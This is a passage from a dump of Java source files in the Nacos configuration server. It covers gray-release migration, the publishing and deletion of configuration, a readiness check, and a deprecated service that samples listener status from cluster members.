configInfo4Gray.getLastModified() < cf.getLastModified()) {\n                            DEFAULT_LOG.info(\"[migrate beta to gray] dataId={}, group={}, tenant={},  md5={}\",\n                                    cf.getDataId(), cf.getGroup(), cf.getTenant(), cf.getMd5());\n                            ConfigGrayPersistInfo localConfigGrayPersistInfo = new ConfigGrayPersistInfo(\n                                    BetaGrayRule.TYPE_BETA, BetaGrayRule.VERSION, cf.getBetaIps(),\n                                    BetaGrayRule.PRIORITY);\n                            configInfoGrayPersistService.insertOrUpdateGray(cf, BetaGrayRule.TYPE_BETA,\n                                    GrayRuleManager.serializeConfigGrayPersistInfo(localConfigGrayPersistInfo),\n                                    NetUtils.localIp(), \"nacos_auto_migrate\");\n                            GRAY_MIGRATE_FLAG.set(false);\n                        }\n                    });\n                    \n                }\n                actualRowCount += page.getPageItems().size();\n                DEFAULT_LOG.info(\"[gray-migrate-beta] submit gray task {} / {}\", actualRowCount, rowCount);\n                \n            }\n        }\n        \n        try {\n            int unfinishedTaskCount = 0;\n            while ((unfinishedTaskCount = executorService.getQueue().size() + executorService.getActiveCount()) > 0) {\n                DEFAULT_LOG.info(\"[gray-migrate-beta] wait {} migrate tasks to be finished\", unfinishedTaskCount);\n                Thread.sleep(1000L);\n            }\n            \n        } catch (Exception e) {\n            DEFAULT_LOG.error(\"[gray-migrate-beta] wait  dump tasks to be finished error\", e);\n            throw e;\n        }\n        \n        rowCount = configInfoTagPersistService.configInfoTagCount();\n        pageCount = (int) Math.ceil(rowCount * 1.0 / pageSize);\n        actualRowCount = 0;\n        for (int pageNo = 1; pageNo <= pageCount; pageNo++) {\n            Page<ConfigInfoTagWrapper> page = configInfoTagPersistService.findAllConfigInfoTagForDumpAll(pageNo,\n                    pageSize);\n            if (page != null) {\n                for (ConfigInfoTagWrapper cf : page.getPageItems()) {\n                    \n                    executorService.execute(() -> {\n                        GRAY_MIGRATE_FLAG.set(true);\n                        ConfigInfoGrayWrapper configInfo4Gray = configInfoGrayPersistService.findConfigInfo4Gray(\n                                cf.getDataId(), cf.getGroup(), cf.getTenant(),\n                                TagGrayRule.TYPE_TAG + \"_\" + cf.getTag());\n                        if (configInfo4Gray == null || configInfo4Gray.getLastModified() < cf.getLastModified()) {\n                            DEFAULT_LOG.info(\"[migrate tag to gray] dataId={}, group={}, tenant={},  md5={}\",\n                                    cf.getDataId(), cf.getGroup(), cf.getTenant(), cf.getMd5());\n                            ConfigGrayPersistInfo localConfigGrayPersistInfo = new ConfigGrayPersistInfo(\n                                    TagGrayRule.TYPE_TAG, TagGrayRule.VERSION, cf.getTag(), TagGrayRule.PRIORITY);\n                            configInfoGrayPersistService.insertOrUpdateGray(cf,\n                                    TagGrayRule.TYPE_TAG + \"_\" + cf.getTag(),\n                                    GrayRuleManager.serializeConfigGrayPersistInfo(localConfigGrayPersistInfo),\n                                    NetUtils.localIp(), \"nacos_auto_migrate\");\n                            GRAY_MIGRATE_FLAG.set(false);\n                        }\n                    });\n                    \n                }\n                \n                actualRowCount += page.getPageItems().size();\n                DEFAULT_LOG.info(\"[gray-migrate-tag]  submit gray task  {} / {}\", actualRowCount, rowCount);\n            }\n        }\n        \n        try {\n            int unfinishedTaskCount = 0;\n            while ((unfinishedTaskCount = executorService.getQueue().size() + executorService.getActiveCount()) > 0) {\n                DEFAULT_LOG.info(\"[gray-migrate-tag] wait {} migrate tasks to be finished\", unfinishedTaskCount);\n                Thread.sleep(1000L);\n            }\n            \n        } catch (Exception e) {\n            DEFAULT_LOG.error(\"[gray-migrate-tag] wait migrate tasks to be finished error\", e);\n            throw e;\n        }\n        //shut down migrate executor\n        executorService.shutdown();\n        \n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/ConfigOperationService.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.MapUtil;\nimport com.alibaba.nacos.common.utils.NumberUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.exception.ConfigAlreadyExistsException;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.event.ConfigDataChangeEvent;\nimport com.alibaba.nacos.config.server.model.event.IstioConfigChangeEvent;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.ConfigGrayPersistInfo;\nimport com.alibaba.nacos.config.server.model.gray.GrayRule;\nimport com.alibaba.nacos.config.server.model.gray.GrayRuleManager;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.trace.ConfigTraceService;\nimport com.alibaba.nacos.config.server.utils.ConfigTagUtil;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.config.server.utils.TimeUtils;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.utils.InetUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.dao.DataIntegrityViolationException;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.stereotype.Service;\n\nimport java.sql.Timestamp;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * ConfigService.\n *\n * @author dongyafei\n * @date 2022/8/11\n */\n\n@Service\npublic class ConfigOperationService {\n    \n    private ConfigInfoPersistService configInfoPersistService;\n    \n    private ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    private ConfigMigrateService configMigrateService;\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigOperationService.class);\n    \n    public ConfigOperationService(ConfigInfoPersistService configInfoPersistService,\n            ConfigInfoGrayPersistService configInfoGrayPersistService,\n            ConfigMigrateService configMigrateService) {\n        this.configInfoPersistService = configInfoPersistService;\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n        this.configMigrateService = configMigrateService;\n    }\n    \n    /**\n     * Adds or updates non-aggregated data.\n     *\n     * @throws NacosException NacosException.\n     */\n    public Boolean publishConfig(ConfigForm configForm, ConfigRequestInfo configRequestInfo, String encryptedDataKey) throws NacosException {\n        Map<String, Object> configAdvanceInfo = getConfigAdvanceInfo(configForm);\n        ParamUtils.checkParam(configAdvanceInfo);\n        \n        configForm.setEncryptedDataKey(encryptedDataKey);\n        ConfigInfo configInfo = new ConfigInfo(configForm.getDataId(), configForm.getGroup(),\n                configForm.getNamespaceId(), configForm.getAppName(), configForm.getContent());\n        //set old md5\n        if (StringUtils.isNotBlank(configRequestInfo.getCasMd5())) {\n            configInfo.setMd5(configRequestInfo.getCasMd5());\n        }\n        configInfo.setType(configForm.getType());\n        configInfo.setEncryptedDataKey(encryptedDataKey);\n        \n        //beta publish\n        if (StringUtils.isNotBlank(configRequestInfo.getBetaIps())) {\n            configForm.setGrayName(BetaGrayRule.TYPE_BETA);\n            configForm.setGrayRuleExp(configRequestInfo.getBetaIps());\n            configForm.setGrayVersion(BetaGrayRule.VERSION);\n            configMigrateService.persistBeta(configForm, configInfo, configRequestInfo);\n            configForm.setGrayPriority(Integer.MAX_VALUE);\n            configMigrateService.publishConfigGrayMigrate(BetaGrayRule.TYPE_BETA, configForm, configRequestInfo);\n            publishConfigGray(BetaGrayRule.TYPE_BETA, configForm, configRequestInfo);\n            return Boolean.TRUE;\n        }\n        // tag publish\n        if (StringUtils.isNotBlank(configForm.getTag())) {\n            configForm.setGrayName(TagGrayRule.TYPE_TAG + \"_\" + configForm.getTag());\n            configForm.setGrayRuleExp(configForm.getTag());\n            configForm.setGrayVersion(TagGrayRule.VERSION);\n            configForm.setGrayPriority(Integer.MAX_VALUE - 1);\n            configMigrateService.persistTagv1(configForm, configInfo, configRequestInfo);\n            configMigrateService.publishConfigGrayMigrate(TagGrayRule.TYPE_TAG, configForm, configRequestInfo);\n            publishConfigGray(TagGrayRule.TYPE_TAG, configForm, configRequestInfo);\n            return Boolean.TRUE;\n        }\n        \n        ConfigOperateResult configOperateResult;\n        \n        configMigrateService.publishConfigMigrate(configForm, configRequestInfo, configForm.getEncryptedDataKey());\n        \n        //formal publish\n        if (StringUtils.isNotBlank(configRequestInfo.getCasMd5())) {\n            configOperateResult = configInfoPersistService.insertOrUpdateCas(configRequestInfo.getSrcIp(),\n                    configForm.getSrcUser(), configInfo, configAdvanceInfo);\n            if (!configOperateResult.isSuccess()) {\n                LOGGER.warn(\n                        \"[cas-publish-config-fail] srcIp = {}, dataId= {}, casMd5 = {}, msg = server md5 may have changed.\",\n                        configRequestInfo.getSrcIp(), configForm.getDataId(), configRequestInfo.getCasMd5());\n                throw new NacosApiException(HttpStatus.INTERNAL_SERVER_ERROR.value(), ErrorCode.RESOURCE_CONFLICT,\n                        \"Cas publish fail, server md5 may have changed.\");\n            }\n        } else {\n            if (configRequestInfo.getUpdateForExist()) {\n                configOperateResult = configInfoPersistService.insertOrUpdate(configRequestInfo.getSrcIp(),\n                        configForm.getSrcUser(), configInfo, configAdvanceInfo);\n            } else {\n                try {\n                    configOperateResult = configInfoPersistService.addConfigInfo(configRequestInfo.getSrcIp(),\n                            configForm.getSrcUser(), configInfo, configAdvanceInfo);\n                } catch (DataIntegrityViolationException ive) {\n                    configOperateResult = new ConfigOperateResult(false);\n                }\n            }\n        }\n        if (!configOperateResult.isSuccess()) {\n            LOGGER.warn(\"[publish-config-failed] config already exists. dataId: {}, group: {}, namespaceId: {}\",\n                    configForm.getDataId(), configForm.getGroup(), configForm.getNamespaceId());\n            throw new ConfigAlreadyExistsException(\n                    String.format(\"config already exist, dataId: %s, group: %s, namespaceId: %s\",\n                            configForm.getDataId(), configForm.getGroup(), configForm.getNamespaceId()));\n        }\n        ConfigChangePublisher.notifyConfigChange(\n                new ConfigDataChangeEvent(configForm.getDataId(), configForm.getGroup(), configForm.getNamespaceId(),\n                        configOperateResult.getLastModified()));\n        if (ConfigTagUtil.isIstio(configForm.getConfigTags())) {\n            ConfigChangePublisher.notifyConfigChange(\n                    new IstioConfigChangeEvent(configForm.getDataId(), configForm.getGroup(), configForm.getNamespaceId(),\n                            configOperateResult.getLastModified(), configForm.getContent(),\n                            ConfigTagUtil.getIstioType(configForm.getConfigTags())));\n        }\n        ConfigTraceService.logPersistenceEvent(configForm.getDataId(), configForm.getGroup(),\n                configForm.getNamespaceId(), configRequestInfo.getRequestIpApp(), configOperateResult.getLastModified(),\n                InetUtils.getSelfIP(), ConfigTraceService.PERSISTENCE_EVENT, ConfigTraceService.PERSISTENCE_TYPE_PUB,\n                configForm.getContent());\n        \n        return true;\n    }\n    \n    /**\n     * publish gray config tag v2.\n     *\n     * @param configForm        ConfigForm\n     * @param configRequestInfo ConfigRequestInfo\n     * @return boolean\n     * @throws NacosException NacosException.\n     * @date 2024/2/5\n     */\n    private Boolean publishConfigGray(String grayType, ConfigForm configForm, ConfigRequestInfo configRequestInfo)\n            throws NacosException {\n        \n        Map<String, Object> configAdvanceInfo = getConfigAdvanceInfo(configForm);\n        ParamUtils.checkParam(configAdvanceInfo);\n        \n        ConfigGrayPersistInfo localConfigGrayPersistInfo = new ConfigGrayPersistInfo(grayType,\n                configForm.getGrayVersion(), configForm.getGrayRuleExp(), configForm.getGrayPriority());\n        GrayRule grayRuleStruct = GrayRuleManager.constructGrayRule(localConfigGrayPersistInfo);\n        if (grayRuleStruct == null) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.CONFIG_GRAY_VERSION_INVALID,\n                    ErrorCode.CONFIG_GRAY_VERSION_INVALID.getMsg());\n        }\n        \n        if (!grayRuleStruct.isValid()) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.CONFIG_GRAY_RULE_FORMAT_INVALID,\n                    ErrorCode.CONFIG_GRAY_RULE_FORMAT_INVALID.getMsg());\n        }\n        \n        //version count check.\n        if (checkGrayVersionOverMaxCount(configForm.getDataId(), configForm.getGroup(), configForm.getNamespaceId(),\n                configForm.getGrayName())) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.CONFIG_GRAY_OVER_MAX_VERSION_COUNT,\n                    \"gray config version is over max count :\" + getMaxGrayVersionCount());\n        }\n        \n        ConfigInfo configInfo = new ConfigInfo(configForm.getDataId(), configForm.getGroup(),\n                configForm.getNamespaceId(), configForm.getAppName(), configForm.getContent());\n        // set old md5\n        if (StringUtils.isNotBlank(configRequestInfo.getCasMd5())) {\n            configInfo.setMd5(configRequestInfo.getCasMd5());\n        }\n        configInfo.setType(configForm.getType());\n        configInfo.setEncryptedDataKey(configForm.getEncryptedDataKey());\n        \n        ConfigOperateResult configOperateResult;\n        \n        if (StringUtils.isNotBlank(configRequestInfo.getCasMd5())) {\n            configOperateResult = configInfoGrayPersistService.insertOrUpdateGrayCas(configInfo,\n                    configForm.getGrayName(),\n                    GrayRuleManager.serializeConfigGrayPersistInfo(localConfigGrayPersistInfo),\n                    configRequestInfo.getSrcIp(), configForm.getSrcUser());\n            if (!configOperateResult.isSuccess()) {\n                LOGGER.warn(\n                        \"[cas-publish-gray-config-fail] srcIp = {}, dataId= {}, casMd5 = {}, grayName = {}, msg = server md5 may have changed.\",\n                        configRequestInfo.getSrcIp(), configForm.getDataId(), configRequestInfo.getCasMd5(),\n                        configForm.getGrayName());\n                throw new NacosApiException(HttpStatus.INTERNAL_SERVER_ERROR.value(), ErrorCode.RESOURCE_CONFLICT,\n                        \"Cas publish gray config fail, server md5 may have changed.\");\n            }\n        } else {\n            configOperateResult = configInfoGrayPersistService.insertOrUpdateGray(configInfo, configForm.getGrayName(),\n                    GrayRuleManager.serializeConfigGrayPersistInfo(localConfigGrayPersistInfo),\n                    configRequestInfo.getSrcIp(), configForm.getSrcUser());\n        }\n        \n        ConfigChangePublisher.notifyConfigChange(\n                new ConfigDataChangeEvent(configForm.getDataId(), configForm.getGroup(), configForm.getNamespaceId(),\n                        configForm.getGrayName(), configOperateResult.getLastModified()));\n        \n        String eventType = ConfigTraceService.PERSISTENCE_EVENT + \"-\" + configForm.getGrayName();\n        \n        ConfigTraceService.logPersistenceEvent(configForm.getDataId(), configForm.getGroup(),\n                configForm.getNamespaceId(), configRequestInfo.getRequestIpApp(), configOperateResult.getLastModified(),\n                InetUtils.getSelfIP(), eventType, ConfigTraceService.PERSISTENCE_TYPE_PUB, configForm.getContent());\n        return true;\n    }\n    \n    private boolean checkGrayVersionOverMaxCount(String dataId, String group, String tenant, String grayName) {\n        List<String> configInfoGrays = configInfoGrayPersistService.findConfigInfoGrays(dataId, group, tenant);\n        if (configInfoGrays == null || configInfoGrays.isEmpty()) {\n            return false;\n        } else {\n            if (configInfoGrays.contains(grayName)) {\n                return false;\n            }\n            return configInfoGrays.size() >= getMaxGrayVersionCount();\n        }\n    }\n    \n    private static final int DEFAULT_MAX_GRAY_VERSION_COUNT = 10;\n    \n    private int getMaxGrayVersionCount() {\n        String value = EnvUtil.getProperty(\"nacos.config.gray.version.max.count\", \"\");\n        return NumberUtils.isDigits(value) ? NumberUtils.toInt(value) : DEFAULT_MAX_GRAY_VERSION_COUNT;\n    }\n    \n    /**\n     * Synchronously delete all pre-aggregation data under a dataId.\n     */\n    public Boolean deleteConfig(String dataId, String group, String namespaceId, String grayName, String clientIp,\n            String srcUser, String srcType) {\n        String persistEvent = ConfigTraceService.PERSISTENCE_EVENT;\n        if (StringUtils.isBlank(grayName)) {\n            configInfoPersistService.removeConfigInfo(dataId, group, namespaceId, clientIp, srcUser);\n            configMigrateService.removeConfigInfoMigrate(dataId, group, namespaceId, clientIp, srcUser);\n        } else {\n            persistEvent = ConfigTraceService.PERSISTENCE_EVENT + \"-\" + grayName;\n            configInfoGrayPersistService.removeConfigInfoGray(dataId, group, namespaceId, grayName, clientIp, srcUser);\n            configMigrateService.deleteConfigGrayV1(dataId, group, namespaceId, grayName, clientIp, srcUser);\n            configMigrateService.removeConfigInfoGrayMigrate(dataId, group, namespaceId, grayName, clientIp, srcUser);\n        }\n        final Timestamp time = TimeUtils.getCurrentTime();\n        ConfigTraceService.logPersistenceEvent(dataId, group, namespaceId, null, time.getTime(), clientIp, persistEvent,\n                ConfigTraceService.PERSISTENCE_TYPE_REMOVE, null);\n        ConfigChangePublisher.notifyConfigChange(\n                new ConfigDataChangeEvent(dataId, group, namespaceId, grayName, time.getTime()));\n        return true;\n    }\n    \n    public Map<String, Object> getConfigAdvanceInfo(ConfigForm configForm) {\n        Map<String, Object> configAdvanceInfo = new HashMap<>(10);\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"config_tags\", configForm.getConfigTags());\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"desc\", configForm.getDesc());\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"use\", configForm.getUse());\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"effect\", configForm.getEffect());\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"type\", configForm.getType());\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"schema\", configForm.getSchema());\n        return configAdvanceInfo;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/ConfigReadinessCheckService.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.core.cluster.health.AbstractModuleHealthChecker;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport org.springframework.stereotype.Service;\n\n/**\n * Readiness check service for config module.\n *\n * @author xiweng.yy\n */\n@Service\npublic class ConfigReadinessCheckService extends AbstractModuleHealthChecker {\n    \n    private final ConfigInfoPersistService configInfoPersistService;\n    \n    public ConfigReadinessCheckService(ConfigInfoPersistService configInfoPersistService) {\n        this.configInfoPersistService = configInfoPersistService;\n    }\n    \n    @Override\n    public boolean readiness() {\n        // check db\n        try {\n            configInfoPersistService.configInfoCount(\"\");\n            return true;\n        } catch (Exception e) {\n            Loggers.CLUSTER.error(\"Config health check fail.\", e);\n        }\n        return false;\n    }\n    \n    @Override\n    public String getModuleName() {\n        return Constants.Config.CONFIG_MODULE;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/ConfigSubService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.auth.config.NacosAuthConfigHolder;\nimport com.alibaba.nacos.auth.util.AuthHeaderUtil;\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.model.RestResult;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ListenerCheckResult;\nimport com.alibaba.nacos.config.server.model.SampleResult;\nimport com.alibaba.nacos.config.server.service.notify.HttpClientManager;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.core.auth.NacosServerAuthConfig;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.stereotype.Service;\n\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\nimport java.net.URLEncoder;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.CompletionService;\nimport java.util.concurrent.ExecutorCompletionService;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.LinkedBlockingDeque;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\n\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTP_PREFIX;\n\n/**\n * Config sub service.\n *\n * @author Nacos\n */\n@Service\n@Deprecated\npublic class ConfigSubService {\n    \n    private ServerMemberManager memberManager;\n    \n    public ConfigSubService(ServerMemberManager memberManager) {\n        this.memberManager = memberManager;\n    }\n    \n    /**\n     * Get and return called url string value.\n     *\n     * @param ip           ip.\n     * @param relativePath path.\n     * @return all path.\n     */\n    private static String getUrl(String ip, String relativePath) {\n        return HTTP_PREFIX + ip + EnvUtil.getContextPath() + relativePath;\n    }\n    \n    private List<SampleResult> runConfigListenerCollectionJob(Map<String, String> params,\n            CompletionService<SampleResult> completionService) {\n        return new ClusterListenerJob(params, completionService, memberManager).runJobs();\n    }\n    \n    private List<SampleResult> runConfigListenerByIpCollectionJob(Map<String, String> params,\n            CompletionService<SampleResult> completionService) {\n        return new ClusterListenerByIpJob(params, completionService, memberManager).runJobs();\n    }\n    \n    static class ClusterListenerJob extends ClusterJob<SampleResult> {\n        \n        static final String URL = Constants.COMMUNICATION_CONTROLLER_PATH + \"/configWatchers\";\n        \n        ClusterListenerJob(Map<String, String> params, CompletionService<SampleResult> completionService,\n                ServerMemberManager serverMemberManager) {\n            super(URL, params, completionService, serverMemberManager);\n        }\n    }\n    \n    static class ClusterListenerByIpJob extends ClusterJob<SampleResult> {\n        \n        static final String URL = Constants.COMMUNICATION_CONTROLLER_PATH + \"/watcherConfigs\";\n        \n        ClusterListenerByIpJob(Map<String, String> params, CompletionService<SampleResult> completionService,\n                ServerMemberManager serverMemberManager) {\n            super(URL, params, completionService, serverMemberManager);\n        }\n    }\n    \n    abstract static class ClusterJob<T> {\n        \n        private String url;\n        \n        private Map<String, String> params;\n        \n        private CompletionService<T> completionService;\n        \n        private ServerMemberManager serverMemberManager;\n        \n        ClusterJob(String url, Map<String, String> params, CompletionService<T> completionService,\n                ServerMemberManager serverMemberManager) {\n            this.url = url;\n            this.params = params;\n            this.completionService = completionService;\n            this.serverMemberManager = serverMemberManager;\n        }\n        \n        class Job<T> implements Callable<T> {\n            \n            private String ip;\n            \n            public Job(String ip) {\n                this.ip = ip;\n            }\n            \n            @Override\n            public T call() throws Exception {\n                return (T) runSingleJob(ip, params, url, ((ParameterizedType) ClusterJob.this.getClass()\n                        .getGenericSuperclass()).getActualTypeArguments()[0]);\n            }\n        }\n        \n        List<T> runJobs() {\n            Collection<Member> ipList = serverMemberManager.allMembers();\n            List<T> collectionResult = new ArrayList<>(ipList.size());\n            \n            // Submit query task.\n            for (Member ip : ipList) {\n                try {\n                    completionService.submit(new Job<T>(ip.getAddress()) {\n                    });\n                } catch (Throwable e) { // Send request failed.\n                    LogUtil.DEFAULT_LOG.warn(\"invoke to {} with exception: {} during submit job\", ip, e.getMessage());\n                }\n            }\n            // Get and merge result.\n            T sampleResults;\n            for (Member member : ipList) {\n                try {\n                    Future<T> f = completionService.poll(1000, TimeUnit.MILLISECONDS);\n                    try {\n                        if (f != null) {\n                            sampleResults = f.get(500, TimeUnit.MILLISECONDS);\n                            if (sampleResults != null) {\n                                collectionResult.add(sampleResults);\n                            }\n                        } else {\n                            LogUtil.DEFAULT_LOG.warn(\"The task in ip: {}  did not completed in 1000ms \", member);\n                        }\n                    } catch (TimeoutException e) {\n                        if (f != null) {\n                            f.cancel(true);\n                        }\n                        LogUtil.DEFAULT_LOG.warn(\"get task result with TimeoutException: {} \", e.getMessage());\n                    }\n                } catch (Exception e) {\n                    LogUtil.DEFAULT_LOG.warn(\"get task result with Exception: {} \", e.getMessage());\n                }\n            }\n            return collectionResult;\n        }\n    }\n    \n    /**\n     * run job to a single member.\n     *\n     * @param ip     ip.\n     * @param params params.\n     * @param url    url.\n     * @param type   type.\n     * @return\n     */\n    public static Object runSingleJob(String ip, Map<String, String> params, String url, Type type) {\n        try {\n            StringBuilder paramUrl = new StringBuilder();\n            for (Map.Entry<String, String> param : params.entrySet()) {\n                paramUrl.append(\"&\").append(param.getKey()).append(\"=\")\n                        .append(URLEncoder.encode(param.getValue(), Constants.ENCODE_UTF8));\n            }\n            \n            String urlAll = getUrl(ip, url) + \"?\" + paramUrl;\n            RestResult<String> result = invokeUrl(urlAll, Constants.ENCODE_UTF8);\n            // Http code 200\n            if (result.ok()) {\n                Object t = JacksonUtils.toObj(result.getData(), type);\n                return t;\n            } else {\n                LogUtil.DEFAULT_LOG.info(\"Can not get remote from {} with {}\", ip, result.getData());\n                return null;\n            }\n        } catch (Exception e) {\n            LogUtil.DEFAULT_LOG.warn(\"Get remote info from {} with exception: {}\", ip, e.getMessage());\n            return null;\n        }\n    }\n    \n    /**\n     * if has all server has not listener,return false.\n     *\n     * @param listenerCheckResult listenerCheckResult.\n     * @param sampleResults       sampleResults.\n     * @return\n     */\n    public ListenerCheckResult mergeListenerCheckResult(ListenerCheckResult listenerCheckResult,\n            List<ListenerCheckResult> sampleResults, int expectSize) {\n        for (ListenerCheckResult sampleResult : sampleResults) {\n            if (sampleResult.getCode() == 200 && sampleResult.isHasListener()) {\n                listenerCheckResult.setHasListener(true);\n                listenerCheckResult.setCode(200);\n                break;\n            }\n        }\n        if (!listenerCheckResult.isHasListener() && sampleResults.size() != expectSize) {\n            listenerCheckResult.setCode(201);\n        }\n        \n        return listenerCheckResult;\n    }\n    \n    /**\n     * Merge SampleResult.\n     *\n     * @param sampleCollectResult sampleCollectResult.\n     * @param sampleResults       sampleResults.\n     * @return SampleResult.\n     */\n    public SampleResult mergeSampleResult(SampleResult sampleCollectResult, List<SampleResult> sampleResults) {\n        SampleResult mergeResult = new SampleResult();\n        Map<String, String> listenersGroupkeyStatus;\n        if (sampleCollectResult.getLisentersGroupkeyStatus() == null || sampleCollectResult.getLisentersGroupkeyStatus()\n                .isEmpty()) {\n            listenersGroupkeyStatus = new HashMap<>(10);\n        } else {\n            listenersGroupkeyStatus = sampleCollectResult.getLisentersGroupkeyStatus();\n        }\n        \n        for (SampleResult sampleResult : sampleResults) {\n            Map<String, String> listenersGroupkeyStatusTmp = sampleResult.getLisentersGroupkeyStatus();\n            listenersGroupkeyStatus.putAll(listenersGroupkeyStatusTmp);\n        }\n        mergeResult.setLisentersGroupkeyStatus(listenersGroupkeyStatus);\n        return mergeResult;\n    }\n    \n    public SampleResult getCollectSampleResult(String dataId, String group, String tenant, int sampleTime)\n            throws Exception {\n        Map<String, String> params = new HashMap<>(5);\n        params.put(\"dataId\", dataId);\n        params.put(\"group\", group);\n        if (!StringUtils.isBlank(tenant)) {\n            params.put(\"tenant\", tenant);\n        }\n        BlockingQueue<Future<SampleResult>> queue = new LinkedBlockingDeque<>(memberManager.getServerList().size());\n        CompletionService<SampleResult> completionService = new ExecutorCompletionService<>(\n                ConfigExecutor.getConfigSubServiceExecutor(), queue);\n        \n        SampleResult sampleCollectResult = new SampleResult();\n        for (int i = 0; i < sampleTime; i++) {\n            List<SampleResult> sampleResults = runConfigListenerCollectionJob(params, completionService);\n            if (sampleResults != null) {\n                sampleCollectResult = mergeSampleResult(sampleCollectResult, sampleResults);\n            }\n        }\n        return sampleCollectResult;\n    }\n    \n    public SampleResult getCollectSampleResultByIp(String ip, int sampleTime) {\n        Map<String, String> params = new HashMap<>(50);\n        params.put(\"ip\", ip);\n        BlockingQueue<Future<SampleResult>> queue = new LinkedBlockingDeque<>(memberManager.getServerList().size());\n        CompletionService<SampleResult> completionService = new ExecutorCompletionService<>(\n                ConfigExecutor.getConfigSubServiceExecutor(), queue);\n        \n        SampleResult sampleCollectResult = new SampleResult();\n        for (int i = 0; i < sampleTime; i++) {\n            List<SampleResult> sampleResults = runConfigListenerByIpCollectionJob(params, completionService);\n            if (sampleResults != null) {\n                sampleCollectResult = mergeSampleResult(sampleCollectResult, sampleResults);\n            }\n        }\n        return sampleCollectResult;\n    }\n    \n    /**\n     * invoke url with 